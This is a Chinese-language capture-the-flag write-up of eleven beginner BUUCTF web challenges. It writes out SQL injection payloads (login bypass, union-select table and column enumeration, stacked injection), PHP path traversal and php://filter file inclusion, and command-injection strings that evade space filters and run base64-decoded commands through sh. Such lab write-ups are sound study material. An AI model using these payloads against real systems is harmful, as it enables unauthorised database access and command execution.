BUUCTF 的一些签到题 内有sql 命令执行
第一题 easy sql
直接在admin那里用’’ or 1=1#
密码那也可以’’ or 1=1# 记得#要用%23
第二题 php 代码审计
打开看源代码发现提示
打开提示得到一串源码
1 | class emmm |
在源码中发现了一个hint.php去看一下
得到提示
根据我们的审计,首先我们要传参file,是字符串类型,然后让函数checkfile返回为真。
hint.php?../../../../../ffffllllaaaagggg 我们可以想象他传入checkFile函数要经历 第一次白名单验证 一次?过滤后他就是hint.php 再进行一次白名单验证 返回为真 则达成条件进行包含得到flag
第三题 简单小题
在源代码中有个注释
传参cat=dog得到flag
第四题 文件包含伪协议
先查一下伪协议的使用 有点忘了
(32条消息) 【文件包含漏洞】——文件包含漏洞进阶_PHP伪协议_剑客 getshell的博客-CSDN博客
打开题目是这样的
然后就用?file=php://filter/read=convert.base64-encode/resource=./flag.php
然后就base64解密
1 |
|
第五题 强网杯随便注 经典题目了
堆叠注入
然后预处理和大小写绕过selct与prepare,set
第六题 sql注入
输入1有回显,试了下堆叠注入。
1 | 但是要用select的时候返回了nonono,说明select关键字又被过滤了,那再试一下预处理。 |
然后就去看别人的wp
(≧∇≦)ノ顺便偷了个葵花宝典
别人的wp:
这道题目需要我们去对后端语句进行猜测,有点矛盾的地方在于其描述的功能和实际的功能似乎并不相符,通过输入非零数字得到的回显1和输入其余字符得不到回显来判断出内部的查询语句可能存在有||,也就是select 输入的数据||内置的一个列名 from 表名,进一步进行猜测即为select post进去的数据||flag from Flag(含有数据的表名,通过堆叠注入可知),需要注意的是,此时的||起到的作用是or的作用
解法1
输入的内容为*,1
内置的sql语句为sql=”select”.sql=”select”.post[‘query’].”||flag from Flag”;
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容
解法2
输入的内容为1;set sql_mode=pipes_as_concat;select 1
其中set sql_mode=pipes_as_concat的作用是将||的作用由or变为拼接字符串
第七题 命令执行漏洞
命令执行漏洞 - 再简单一点点 - 博客园 (cnblogs.com)
第八题 伪协议
在源码中发现了一个文件,前去看看
抓包发现新东西
开始代码审计
1 | <html> |
简单,继续用伪协议
base解密
第九题 sql注入
又是sql注入,他说不让用map就不用?
好嘛没扫出来。
万能密码也行不通了,开始手动注入
order by4报错,就是说有3列
payload:-1’ union select database(),2,3;#
回显的是2,3
payload:-1’ union select 1,database(),user();#
得到数据库名字
然后就开始爆表
-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() ;#
爆字段
-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’l0ve1ysq1’ ;#
爆数据:
-1’ union select 1,2,group_concat(id,username,password) from l0ve1ysq1 ;#
得到flag
第十题 命令执行漏洞
又是ping命令
发现flag
但是发现/和空格都被过滤了,想办法绕过
额flag也被绕过了
代替空格的符号有
1 | %20(space)、%09(tab)、$IFS$9、${IFS}$9、 {IFS}、IFS 都可以 |
访问index看看过滤规则,用的是正则表达式。
我们可以用变量来代替flag字段,/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
得到flag
在网上还发现了其他的方法:
1.通过执行sh命令来执行 (bash被过滤了,不然也可以执行)
/ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
注:sh是linux中运行shell的命令,bash相当于sh的升级版,sh∈bash
2.内联执行 (真正的大佬操作,给跪了)
构造 /?ip=127.0.0.1;cat$IFS$9`ls`
注:内联,就是将反引号内命令的输出作为输入执行。
第十一题 菜刀
蚁剑直接连